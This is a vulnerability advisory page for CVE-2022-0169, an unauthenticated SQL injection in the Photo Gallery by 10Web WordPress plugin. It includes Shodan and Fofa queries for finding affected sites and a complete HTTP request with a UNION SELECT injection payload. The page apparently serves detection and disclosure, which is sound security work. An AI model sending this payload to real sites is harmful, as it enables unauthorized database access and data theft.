🔙 목록으로 돌아가기

CVE-2022-0169: Photo Gallery by 10Web < 1.6.0 - SQL Injection

TitlePhoto Gallery by 10Web < 1.6.0 - SQL Injection
Authorritikchaddha,princechaddha
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation, or data leakage.
RemediationThis is resolved in release 1.6.0.
CVSS Score9.8
EPSS Score0.80785
CVE IDCVE-2022-0169
CWE IDCWE-89
Shodan Queryhttp.html:/wp-content/plugins/photo-gallery
Fofa Querybody=/wp-content/plugins/photo-gallery
Tags cve cve2022 wpscan wp wp-plugin wordpress sqli photo-gallery 10web vkev vuln

🔍 Vulnerability Description

The Photo Gallery by 10Web WordPress plugin before 1.6.0 does not validate and escape the bwg_tag_id_bwg_thumbnails_0 parameter before using it in a SQL statement via the bwg_frontend_data AJAX action (available to unauthenticated and authenticated users), leading to an unauthenticated SQL injection

🌐 HTTP Request

GET /wp-admin/admin-ajax.php?action=bwg_frontend_data&shortcode_id=1&bwg_tag_id_bwg_thumbnails_0[]=)%22%20union%20select%201,2,3,4,5,6,7,concat(md5(2613),%200x2c,%208),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%20--%20g HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/3.6.17
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0169.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-0169.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A